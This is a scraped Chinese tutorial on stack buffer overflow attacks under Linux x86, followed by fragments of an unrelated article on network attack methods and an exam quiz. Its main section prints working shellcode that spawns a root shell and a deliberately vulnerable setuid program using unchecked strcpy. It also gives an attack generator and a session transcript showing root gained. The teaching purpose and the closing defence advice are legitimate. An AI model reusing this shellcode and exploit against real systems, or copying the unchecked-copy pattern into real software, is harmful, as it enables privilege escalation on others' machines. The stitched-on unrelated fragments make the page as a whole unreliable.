文档库 最新最全的文档下载
当前位置:文档库 › 缓冲区溢出攻击原理与防范

缓冲区溢出攻击原理与防范

缓冲区溢出攻击原理与防范
缓冲区溢出攻击原理与防范

缓冲区溢出攻击的原理与防范

陈硕

2004-7-12

读者基础:熟悉C语言及其内存模型,了解x86汇编语言。

缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。本文以Linux on IA32(32-bit Intel Architecture,即常说的x86)为平台,介绍缓冲区溢出的原理与防范措施。

按照被攻击的缓冲区所处的位置,缓冲区溢出(buffer overflow)大致可分为两类:堆溢出1(heap overflow)和栈溢出2(stack overflow)。栈溢出较为简单,我先以一些实例介绍栈溢出,然后谈一谈堆溢出的一般原理。

栈溢出原理

我们知道,栈(stack)是一种基本的数据结构,具有后入先出(LIFO, Last-In-First-Out)的性质。在x86平台上,调用函数时实际参数(arguments)、返回地址(return address)、局部变量(local variables)都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针(stack pointer)寄存器ESP始终指向栈顶元素。以图表1中的简单程序为例,我们先将它编译为可执行文件,然后在gdb中反汇编并跟踪其运行:

$ gcc stack.c –o stack -ggdb -mperferred-stack-boundary=2

在IA32上,gcc默认按8个字节对齐,为了突出主题,我们令它按4字节对齐,最末一个参数的用处在此。图表1在每条语句之后列出对应的汇编指令,注意这是AT&T格式汇编,mov %esp, %ebp 是将寄存器ESP的值赋给寄存器EBP(这与常用的Intel汇编格式正好相反)。

// stack.c

#01 int add(int a, int b)

#02 {

// push %ebp

// mov %esp,%ebp

#03 int sum;

// sub $0x4,%esp

#04 sum = a + b;

// mov 0xc(%ebp),%eax

// add 0x8(%ebp),%eax

// mov %eax,0xfffffffc(%ebp)

#05 return sum;

// mov 0xfffffffc(%ebp),%eax

1本文把静态存储区溢出也算作一种堆溢出。

2 Stack 通常翻译为“堆栈”,为避免与文中出现的“堆/heap”混淆,这里简称为“栈”。

// leave

// ret

#06 }

#07

#08 int main()

#09 {

// push %ebp

// mov %esp,%ebp

#10 int ret = 0xDEEDBEEF;

// sub $0x4,%esp

// movl $0xdeedbeef,0xfffffffc(%ebp)

#11 ret = add(0x19, 0x82);

// push $0x82

// push $0x19

// call 80482f4

// add $0x8,%esp

// mov %eax,0xfffffffc(%ebp)

#12 return ret;

// mov 0xfffffffc(%ebp),%eax

// leave

// ret

#13 }

图表 1 典型的函数调用

当程序执行完第10行时,堆栈如图表2所示。图中每格表示一个double word(4字节)。

图表 2 堆栈状况1

EBP是栈帧指针(frame pointer),在整个函数的运行过程中,它始终指向间于返回地址和局部变量之间的一个double word,此处保存着调用端函数(caller)的EBP值(第9行对应的两条指令正是起这个作用)。EBP所指的位置之下是局部变量,例如EBP-4是变量ret 的地址,-4的补码表示正好是0xFFFFFFFC,第11行上方的movl指令将0xDEEDBEEF 存入变量ret。当函数返回时,须将EBP恢复原值。leave指令相当于:

mov %ebp, %esp // 先令esp指向saved ebp

pop %ebp // 弹出栈顶内容至ebp,此时esp正好指向返回地址,ebp也恢复原值

ret指令的作用是将栈顶元素(ESP所指之处)弹出至指令指针EIP,完成函数返回动作。

执行第11条语句时,先将add()的两个参数按从右到左的顺序压入堆栈,call指令会先把返回地址(也就是call指令的下一条指令的地址,此处为一条add指令3)压入堆栈,

3C语言为了实现变长参数调用(就像printf()),通常规定由调用端负责清理堆栈,这条add指令正是起平衡堆栈的作用。

然后修改指令指针EIP,使程序流程(flow)到达被调用函数处(第2行)。当程序运行到第4行时,堆栈的情况如图表3所示。

图表 3 堆栈情况2

图中灰色部分是main()的栈帧(stack frame,又称活动记录:activation record),其下是add()的栈帧,从中可以看出,保存函数返回地址(return addr)的位置比第一个局部变量高8字节。由此我们想到,函数可以修改自己的返回地址。下面我们做一个试验。

// retaddr.c

#01 #include

#02

#03 void malice()

#04 {

#05 printf("Hey, you've been attacked.\n");

#06 }

#07

#08 void foo()

#09 {

#10 int* ret;

#11 ret = (int*)&ret + 2; // get the addr of return addr

#12 (*ret) = (int)malice; // set my return addr to malice()

#13 }

#14

#15 int main()

#16 {

#17 foo();

#18 return 0;

#19 }

图表 4 改变函数返回地址

图表4列出了一个函数改变自己返回地址的程序,foo()函数将自己的返回地址改为malice()函数。编译运行这个程序,结果如下:

$ gcc retaddr.c -o retaddr -ggdb -mpreferred-stack-boundary=2

$ ./retaddr

Hey, you've been attacked.

Segmentation fault (core dumped)

core dump 4发生在malice()返回时,我们来分析一下究竟发生了什么。首先,在进入

main()函数后,在执行第17行之前,堆栈情况如图表5-(a)所示,这是main()的栈帧;随

后,进入函数foo(),在执行第11行之前,堆栈布局如图表5-(b)所示,灰色部分是调用端

main()的栈帧;执行第11行之后,ret 指向函数的返回地址(图表5-(c));第12行修改*ret ,

将返回地址设为malice()的入口。foo()函数结束后,本应返回到main(),执行第18行的语句return 0;然而由于返回地址被修改,foo()函数返回后进入函数malice(),在执行第5行之前,堆栈的情况如图表5-(d)。

这时堆栈已被破坏,malice()函数的返回地址处存放的是main()函数保存的EBP 值(图中的 saved EBP* ),malice()函数返回后,会跳转到 saved EBP* 所指的地址,oops

!接下来发生的事情想必大家都知道了?

(a) (b)

(c) (d)

图表 5 堆栈情况3

继续我们的试验:如何让这个程序正常退出?我想到的办法是,利用main()函数的局部变量伪造一个貌似合法的堆栈,让malice()返回后,程序得以安全退出。办法很简单,在malice()的返回地址处放上exit()的入口地址?,当然,我们还要顺便伪造传给exit()的参数。改进后的main()见图表 6。

4

如果没有出现core dumped 字样,请先执行 ulimit –c unlimited 。

#02 #include

#15 int main() #16 {

#17 volatile int exit_val = 100; #18 volatile int dumy = 0;

#19 volatile void* ret_addr = &exit; #20 foo(); #21 }

图表 6 改进后的“修改函数返回地址”示例

使用volatile 关键字是为了防止编辑器将这些看似没用的局部变量优化掉。

进入函数malice()后,堆栈情况如图表 7-(a)所示。与图表 5-(d)比较可知,malice()

会把ret_addr

作为自己的返回地址,我们已在此处填上了exit()的入口地址。当malice()返回后,程序进入exit()函数,这时堆栈如图表 7-(b)所示(注意,exit()没有保存ESP )。

exit()函数会把100认为是传递给自己的参数,还会认为返回地址是0,但是exit()永不

返回,所以不会造成core dump ,程序正常结束,返回给操作系统的代码是100。

(a) (b)

图表 7 堆栈情况4

有了以上对函数调用栈的了解,接下来,我们可以谈谈栈上的缓冲区溢出了。利用缓冲区溢出,我们能 1) 自由修改EIP ,控制程序流程;2) 植入shellcode ,获得root shell 。所谓shellcode ,是指能调出shell 的程序,功能如同shellcode1.c (图表 8)。

#01 #include

#02

#03 int main() #04 {

#05 char* name[2]; #06

#07 setuid(0); // required if bash is used #08 name[0] = "/bin/sh"; #09 name[1] = NULL;

#10 execve(name[0], name, NULL); #11 return 0; #12 }

图表 8 shellcode1.c

如果以root权限执行这段程序,我们就能获得一个root shell,Wow! 先试一把:

$ gcc -o shellcode1 shellcode1.c

$ whoami

schen

$ ./shellcode1

sh-2.05b$ whoami

schen

咦?怎么没有变身root?噢,忘了将shellcode1的owner设为root,还要设置suid位:

$ sudo chown root shellcode1

$ sudo chmod +s shellcode1

$ whoami

schen

$ ./shellcode1

sh-2.05b# whoami

root

sh-2.05b# id// 不放心,再确认一下?

uid=0(root) gid=500(schen) groups=500(schen)

当然,我们不能直接使用图表8中的程序,需要把它转换为机器码,再注入缓冲区。与这

段程序功能相同的机器码是5

char shellcode[] = // 为适应strcpy(), shellcode中不能出现'\0'

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff/bin/sh";

先用图表9的程序验证一下这段机器码的功能与图表8的C程序相同。

#01 char shellcode[] =

#02 "\xeb\x1f" // 同上,略

#06 int main()

#07 {

#08 int* ret;

#09

#10 ret = (int*)&ret + 2;

#11 (*ret) = (int)shellcode;

#12 return 0;

#13 }

图表 9 shellcode2.c

$ gcc shellcode2.c -o shellcode2 -mpreferred-stack-boundary=2

$ sudo chown root shellcode2

$ sudo chmod +s shellcode2

$ ./shellcode2

sh-2.05b# whoami

root

验证通过!接下来,我们写一个程序,让它以root权限运行的,在设法利用其中的漏5 shellcode的构造方法不是文本的重点,请参阅文献[1]第3章。此处用到的shellcode取自文献[5]。

洞让它执行这段shellcode,这样就能获得root shell,达到攻击的目的。程序代码见图表 10。

#01 #include

#02 #include

#03

#04 int main(int argc, char* argv[])

#05 {

#06 char buf[100];

#07

#08 printf("%p\n", buf); // we are cheating here ?

#09

#10 if (argc > 1)

#11 strcpy(buf, argv[1]);

#12

#13 return 0;

#14 }

图表 10 victim.c

main()函数使用长度为100字节的局部数组(local array)buf充当缓冲区,而且故意犯了一个典型错误:使用strcpy而没有检查目标缓冲区大小。main()函数的栈帧情况见图表 11。数组是自低向高增长,如果写越界,就会改写堆栈高端的内容,那里存放着函数的返回地址。

图表 11 victim.c 中的 main() 栈帧

我们构造一个足够覆盖return addr的字符串(128字节)作为victim的参数,这个字符串的格式为:

其中addr均是double word,指向buf的首地址。为便于实验,我们在victim中把buf的

首地址打印出来。这种格式适合较大的缓冲区,它要求缓冲区buf长度大于shellcode的长度。我写了个程序(attack.c,图表 13),将以上字符串存为文件,再读取文件内容作为victim 的参数。victim用strcpy()将输入字符串复制到栈上的缓冲区buf,字符串中的addr域会覆盖main()的返回地址,让main()退出后执行shellcode。当victim.c执行完第11行时,堆栈的情况如图表 12。

图表 12 被攻击后的堆栈

char shellcode[] =

"\xeb\x1f" // 同上,略

int main(int argc, char* argv[])

{

char buf[128];

int i;

int addr = 0xBFFFF980;

FILE* fp = NULL;

if (argc > 1)

addr = (int)strtoul(argv[1], NULL, 16);

for (i = 0; i < sizeof(buf) / sizeof(int); ++i)

*((int*)buf + i) = addr;

printf("Try addr : %p\n", addr);

memcpy(buf, shellcode, strlen(shellcode));

fp = fopen("buffer", "w");

if (fp) {

fwrite(buf, sizeof(buf), 1, fp);

fclose(fp);

}

return 0;

}

图表 13 attack.c

接下来,试验攻击。先编译victim和attack,并给victim设上suid位。

$ gcc -o victim victim.c

$ gcc -o attack attack.c

$ sudo chown root victim

$ sudo chmod +s victim

然后运行victim获得buf的首地址,按地址生成攻击字符串,存为文件buffer。

$ ./victim

0xbffffad0

$ ./attack 0xbffffad0

Try addr : 0xbffffad0

用文件buffer的内容作为victim的参数,尝试攻击:

$ ./victim `cat buffer`

0xbffffa40

Segmentation fault

奇怪,受传入参数的影响,buf的首地址变了,攻击失败。按照新地址生成攻击字符串,再试一次,这次我们成功拿到了root权限。

$ ./attack 0xbffffa40

Try addr : 0xbffffa40

$ ./victim `cat buffer`

0xbffffa40

sh-2.05b# whoami

root

以上攻击过程在RedHat Linux 8.0上验证通过,但在RedHat Linux 9.0中,由于victim 每次运行时buf的首地址不固定(前后波动可达数十KB),这种攻击方法十次中也难得成功一次。为此,我们在shellcode之前添加一些NOP指令(opcode为0x90),以增加攻击的成功率,修改后的攻击字符串格式为:

这样只要addr指向NOP s区域中的任何一点,都能执行到shellcode,从而完成攻击。如果缓冲区不够放下shellcode,那么可以采用第二种攻击字符串格式:

这时同样可以在shellcode之前填补一些NOP指令以提高攻击的成功率。

利用缓冲区溢出除了能修改函数返回地址,还可以修改函数的敏感参数(如传入的函数指针、密码字符串等),同样达到攻击的目的。C++语言的vtable是个函数指针数组,自然也可成为攻击的目标。

防御措施

栈上的缓冲区溢出可以修改函数的返回地址和传入参数,如果在进入函数时,将这些敏感数据复制一份放在局部变量之下,在退出函数时用备份的数据覆盖原数据,那么即便出现缓冲区溢出,也没有多大伤害。另外可以在局部变量之前放一个cookie,在退出函数时检查cookie是否被修改,从而监测有无缓冲区溢出。这两点可由编译器帮我们做到。

栈上的数据既可以修改,又可以当作指令来执行,这是本文介绍的这种栈溢出攻击的条件。现在某些操作系统如Solaris、OpenBSD以及不久之后的Windows有所谓的W^X特性,即一块内存区域不能既可写又可执行,这样就能防御这类栈溢出攻击。不过道高一尺,魔高一丈,我们可以利用“return to libc”技术来达到攻击目的。前面图表6的例子已经看到,函数的返回地址可设为某一库函数。如果我们伪造一些参数(比如字符串"/bin/sh"),再修改函数返回地址,让它执行system()函数,一样可以获得root shell。

缓冲区溢出的历史几乎和C语言一样久远,C语言本身不检查下标越界,而常用的标准库函数如gets、strcpy、sprintf等等也无处指明目标缓冲区的大小。受当时历史条件限制,C语言这么设计是出于效率考虑,而且C语言充分相信程序员的能力。然而这多少也纵容了人们在编码时忽视检查缓冲区溢出。而现在编程教材似乎也不强调让学生养成检查目标缓冲区大小以避免溢出的好习惯。避免缓冲区溢出,我觉得最重要的还是从源头做起,培养良好的编程习惯,包括检查数组边界、用fgets替代gets、用strncpy或strlcpy替代strcpy,用snprint替代sprint等等。(C99标准刚加入可以指明目标缓冲区大小的snprint 函数。)只要小心在意,在编码时完全可以预防缓冲区溢出。

堆溢出简介

堆(heap)指的是以malloc()动态分配的内存,C++把以new动态分配的内存叫free store,其实和堆是一回事。在heap、全局变量、静态(static)变量中溢出的情况都算作堆溢出。堆溢出攻击的主要手段是改写内存中的密码、函数指针、文件名、UID等数据,达到提升特权级别的目的。堆溢出通常要求对malloc()所用的数据结构有深入了解,它比栈溢出难度大。

参考文献

本文栈溢出的内容主要参考了文献[1],其第3章专门介绍怎样编写shellcode。本文用到的shellcode取自文献[5]。堆溢出请参考文献[1]第4章和[2]。文献[3]和[4]对编写安全的软件有非常好的建议。[6]、[7]、[8]是缓冲区溢出攻击的经典文献。

P.S. 因为我使用的绘图软件gpic不支持中文,所以本文所有图片中的文字均为英文,请读者见谅。

[1] Jack Koziol et al. The Shellcoder’s Handbook. Wiley. 2004.

[2] Cyrus Peikari, Anton Chuvakin. Security Warrior. O’Reilly. 2004.

[3] David A. Wheeler. Secure Programming for Linux and Unix HOWTO. 2003.

https://www.wendangku.net/doc/726717077.html,/secure-programs/.

[4] John Viega, Gary McGraw. Building Secure Software. Addison Wesley. 2002.

中译本:《构建安全的软件》。钟向群王鹏译。清华大学出版社。2003年。

[5] 王勇。Linux下缓冲区溢出攻击的原理及对策。2003年。

https://www.wendangku.net/doc/726717077.html,/developerWorks/cn/linux/l-overflow/index.shtml

[6] Aleph One. Smashing The Stack For Fun And Profit. 1996.

https://www.wendangku.net/doc/726717077.html,/phrack/49/P49-14

[7] Pierre-Alain FAYOLLE, Vincent GLAUME. A Buffr Overflow Study: Attacks & Defenses. 2002.

https://www.wendangku.net/doc/726717077.html,/library/report.pdf

[8] w00w00 on Heap Overflows. https://www.wendangku.net/doc/726717077.html,/files/articles/heaptut-chinese.txt

计算机网络攻击常见手法及防范措施

计算机网络攻击常见手法及防范措施 一、计算机网络攻击的常见手法 互联网发展至今,除了它表面的繁荣外,也出现了一些不良现象,其中黑客攻击是最令广大网民头痛的事情,它是计算机网络安全的主要威胁。下面着重分析黑客进行网络攻击的几种常见手法及其防范措施。 (一)利用网络系统漏洞进行攻击 许多网络系统都存在着这样那样的漏洞,这些漏洞有可能是系统本身所有的,如WindowsNT、UNIX等都有数量不等的漏洞,也有可能是由于网管的疏忽而造成的。黑客利用这些漏洞就能完成密码探测、系统入侵等攻击。 对于系统本身的漏洞,可以安装软件补丁;另外网管也需要仔细工作,尽量避免因疏忽而使他人有机可乘。 (二)通过电子邮件进行攻击 电子邮件是互联网上运用得十分广泛的一种通讯方式。黑客可以使用一些邮件炸弹软件或CGI程序向目的邮箱发送大量内容重复、无用的垃圾邮件,从而使目的邮箱被撑爆而无法使用。当垃圾邮件的发送流量特别大时,还有可能造成邮件系统对于正常的工作反映缓慢,甚至瘫痪,这一点和后面要讲到的“拒绝服务攻击(DDoS)比较相似。 对于遭受此类攻击的邮箱,可以使用一些垃圾邮件清除软件来解决,其中常见的有SpamEater、Spamkiller等,Outlook等收信软件同样也能达到此目的。 (三)解密攻击 在互联网上,使用密码是最常见并且最重要的安全保护方法,用户时时刻刻都需要输入密码进行身份校验。而现在的密码保护手段大都认密码不认人,只要有密码,系统就会认为你是经过授权的正常用户,因此,取得密码也是黑客进行攻击的一重要手法。取得密码也还有好几种方法,一种是对网络上的数据进行监听。因为系统在进行密码校验时,用户输入的密码需要从用户端传送到服务器端,而黑客就能在两端之间进行数据监听。但一般系统在传送密码时都进行了加密处理,即黑客所得到的数据中不会存在明文的密码,这给黑客进行破解又提了一道难题。这种手法一般运用于局域网,一旦成功攻击者将会得到很大的操作权益。另一种解密方法就是使用穷举法对已知用户名的密码进行暴力解密。这种解密软件对尝试所有可能字符所组成的密码,但这项工作十分地费时,不过如果用户的密码设置得比较简单,如“12345”、“ABC”等那有可能只需一眨眼的功夫就可搞定。 为了防止受到这种攻击的危害,用户在进行密码设置时一定要将其设置得复杂,也可使用多层密码,或者变换思路使用中文密码,并且不要以自己的生日和电话甚至用户名作为密码,因为一些密码破解软件可以让破解者输入与被破解用户相关的信息,如生日等,然后对这些数据构成的密码进行优先尝试。另外应该经常更换密码,这样使其被破解的可能性又下降了不少。 (四)后门软件攻击 后门软件攻击是互联网上比较多的一种攻击手法。Back Orifice2000、冰河等都是比较著名的特洛伊木马,它们可以非法地取得用户电脑的超级用户级权利,可以对其进行完全的控制,除了可以进行文件操作外,同时也可以进行对方桌面抓图、取得密码等操作。这些后门软件分为服务器端和用户端,当黑客进行攻击时,会使用用户端程序登陆上已安装好服务器端程序的电脑,这些服务器端程序都比较小,一般会随附带于某些软件上。有可能当用户下载了一个小游戏并运行时,后门软件的服务器端就安装完成了,而且大部分后门软件的重生能力

缓冲区溢出攻击实验

HUNAN UNIVERSITY 课程实验报告 题目: Buflab-handout 学生姓名 学生学号 专业班级计科1403 (一)实验环境 联想ThinkPadE540 VM虚拟机ubuntu32位操作系统 (二)实验准备 1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw, makecookie。bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符 串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。 从给的PDF文件中我们得知getbuf函数为:

/ /Buffer size for getbuf #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } 这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。 2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。 Makecookie是产生一个userid。输入的相应的用户名产生相应的cookie值。 **我产生的cookie值为0x5eb52e1c,如下图所示: Level0: 实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿) Test源码: void test() { int val; // Put canary on stack to detect possible corruption volatile int local = uniqueval(); val = getbuf(); // Check for corrupted stack if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3);

网络攻击与防御实验报告全解

西安电子科技大学 本科生实验报告 姓名:王东林 学院:计算机科学院 专业:信息安全 班级:13级本科班 实验课程名称:网络攻击与防御 实验日期:2015年10月15日 指导教师及职称:金涛 实验成绩: 开课时间: 2016-2017 学年第一学期

实验题目网络攻击与防御小组合作否 姓名王东林班级13级信息安全本科班学号201383030115 一、实验目的 1.了解网络连通测试的方法和工作原理。 2.掌握ping命令的用法。 3.了解网络扫描技术的基本原理。 4.掌握xscan工具的使用方法和各项功能。 5.通过使用xscan工具,对网络中的主机安全漏洞信息等进行探测。 6.掌握针对网络扫描技术的防御方法。 7.了解路由的概念和工作原理。 8.掌握探测路由的工具的使用方法和各项功能,如tracert等。 9.通过使用tracert工具,对网络中的路由信息等进行探测,学会排查网络故 障。 10.了解网络扫描技术的基本原理。 11.掌握nmap工具的使用方法和各项功能。 12.通过使用nmap工具,对网络中的主机信息等进行探测。 13.掌握针对网络扫描技术的防御方法。 14.掌握Linux帐号口令破解技术的基本原理、常用方法及相关工具 15.掌握如何有效防范类似攻击的方法和措施 16.掌握帐号口令破解技术的基本原理、常用方法及相关工具 17.掌握如何有效防范类似攻击的方法和措施 18.掌握帐号口令破解技术的基本原理、常用方法及相关工具 19.掌握如何有效防范类似攻击的方法和措施

二.实验环境 1、实验环境 1)本实验需要用到靶机服务器,实验网络环境如图1所示。 靶机服务器配置为Windows2000 Server,安装了IIS服务组件,并允许FTP匿名登录。由于未打任何补丁,存在各种网络安全漏洞。在靶机服务器上安装有虚拟机。该虚拟机同样是Windows2000 Professional系统,但进行了主机加固。做好了安全防范措施,因此几乎不存在安全漏洞。 2)学生首先在实验主机上利用Xscan扫描靶机服务器P3上的漏洞,扫描结束发现大量漏洞之后用相同方法扫描靶机服务器上的虚拟机P4。由于该靶机服务器上的虚拟机是安装了各种补丁和进行了主机加固的,因此几乎没有漏洞。在对比明显的实验结果中可见,做好安全防护措施的靶机服务器虚拟机上的漏洞比未做任何安全措施的靶机服务器少了很多,从而加强学生的网络安全意识。实验网络拓扑如图1。 三. 实验内容与步棸 Ping命令是一种TCP/IP实用工具,在DOS和UNIX系统下都有此命令。它将您的计算机与目标服务器间传输一个数据包,再要求对方返回一个同样大小的数据包来确定两台网络机器是否连接相通。 1.在命令提示符窗口中输入:ping。了解该命令的详细参数说明。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

缓冲区溢出攻击与防范

计算机病毒和入侵检测大作业 缓冲区溢出攻击与防范Buffer overflow attacking and prevention 学院(系):软件学院 专业:软件工程 学生姓名:刘毅超 学号:201192057 班级:软件1116 完成日期:2013年12月30日 大连理工大学 Dalian University of Technology

目录 1 引言 (3) 2 基本原理分析 (3) 3 制造缓冲区溢出 (4) 3.1 格式化字符串: (4) 3.2 堆栈缓冲区(Buffer)溢出攻击: (6) 3.3 HEAP/BSS溢出攻击: (8) 4 预防缓冲区溢出攻击 (10) 4.1 强制写正确的代码 (10) 4.2 使缓冲区不可执行 (10) 4.3 利用编译器的边界检查来实现缓冲区的保护 (10) 4.4 在程序指针失效前进行完整性检查 (11) 4.5 可不可以从根本上解决缓冲区溢出攻击 (11) 5 总结 (11) 6 参考资料 (12)

1 引言 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上。在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,而缓冲区溢出中,最为危险的是堆栈溢出。(操作系统所使用的缓冲区又被称为"堆栈".。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。)本文详细分析了缓冲区溢出的原理,描述了利用缓冲区溢出漏洞进行系统攻击的一般过程,最后简单讨论了几种缓冲区溢出的保护方法。 2 基本原理分析 缓冲区是内存中存放数据的地方。在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。 缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。仅仅单个的缓冲区溢出并不是问题的根本所在。但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。 现在存在的主要的缓冲区溢出攻击有格式化串缓冲区溢出攻击,堆栈缓冲区(Buffer)溢出攻击和HEAP/BSS的缓冲区溢出。

缓冲区溢出攻击原理与防范

缓冲区溢出攻击的原理与防范 陈硕 2004-7-12 读者基础:熟悉C语言及其内存模型,了解x86汇编语言。 缓冲区溢出(buffer overflow)是安全的头号公敌,据报道,有50%以上的安全漏洞和缓冲区溢出有关。C/C++语言对数组下标访问越界不做检查,是引起缓冲区溢出问题的根本原因。本文以Linux on IA32(32-bit Intel Architecture,即常说的x86)为平台,介绍缓冲区溢出的原理与防范措施。 按照被攻击的缓冲区所处的位置,缓冲区溢出(buffer overflow)大致可分为两类:堆溢出1(heap overflow)和栈溢出2(stack overflow)。栈溢出较为简单,我先以一些实例介绍栈溢出,然后谈一谈堆溢出的一般原理。 栈溢出原理 我们知道,栈(stack)是一种基本的数据结构,具有后入先出(LIFO, Last-In-First-Out)的性质。在x86平台上,调用函数时实际参数(arguments)、返回地址(return address)、局部变量(local variables)都位于栈上,栈是自高向低增长(先入栈的地址较高),栈指针(stack pointer)寄存器ESP始终指向栈顶元素。以图表1中的简单程序为例,我们先将它编译为可执行文件,然后在gdb中反汇编并跟踪其运行: $ gcc stack.c –o stack -ggdb -mperferred-stack-boundary=2 在IA32上,gcc默认按8个字节对齐,为了突出主题,我们令它按4字节对齐,最末一个参数的用处在此。图表1在每条语句之后列出对应的汇编指令,注意这是AT&T格式汇编,mov %esp, %ebp 是将寄存器ESP的值赋给寄存器EBP(这与常用的Intel汇编格式正好相反)。 // stack.c #01 int add(int a, int b) #02 { // push %ebp // mov %esp,%ebp #03 int sum; // sub $0x4,%esp #04 sum = a + b; // mov 0xc(%ebp),%eax // add 0x8(%ebp),%eax // mov %eax,0xfffffffc(%ebp) #05 return sum; // mov 0xfffffffc(%ebp),%eax 1本文把静态存储区溢出也算作一种堆溢出。 2 Stack 通常翻译为“堆栈”,为避免与文中出现的“堆/heap”混淆,这里简称为“栈”。

网络攻击与防御复习题

《网络攻击与防御》复习题 一、判断题 1.防火墙构架于内部网与外部网之间,是一套独立的硬件系统。(×) 2.非法访问一旦突破数据包过滤型防火墙,即可对主机上的软件和配置漏洞进行攻击。(×) 3. GIF和JPG格式的文件不会感染病毒。(×) 4.发现木马,首先要在计算机的后台关掉其程序的运行。(√) 5.公钥证书是不能在网络上公开的,否则其他人可能假冒身份或伪造数字签名。(×) 6.复合型防火墙防火墙是内部网与外部网的隔离点,起着监视和隔绝应用层通信流的作用,同时也常结合过滤器的功能。(√) 7.只是从被感染磁盘上复制文件到硬盘上并不运行其中的可执行文件不会使系统感染病毒。(×) 8.入侵检测被认为是防火墙之后的第二道安全闸门,它在不影响网络性能的情况下对网络进行监测,仅提供对外部攻击的实时保护。(×) 二、单选题 1.黑客窃听属于(B)风险。 A.信息存储安全 B.信息传输安全 C.信息访问安全 D.以上都不正确 2.通过非直接技术攻击称作(B)攻击手法 A.会话劫持 B.社会工程学 C.特权提升 D.应用层攻击 3.拒绝服务攻击(A)。 A.用超出被攻击目标处理能力的海量数据包水泵可用系统、带宽资源等方法的攻击 B.全称是Distributed Denial of Service C.拒绝来自一个服务器所发送回应请求的指令 D.入侵控制一个服务器后远程关机 4.下列叙述中正确的是(D)。 A.计算机病毒只感染可执行文件 B.计算机病毒只感染文本文件 C.计算机病毒只能通过软件复制的方式进行传播 D.计算机病毒可以通过读写磁盘或网络等方式进行传播 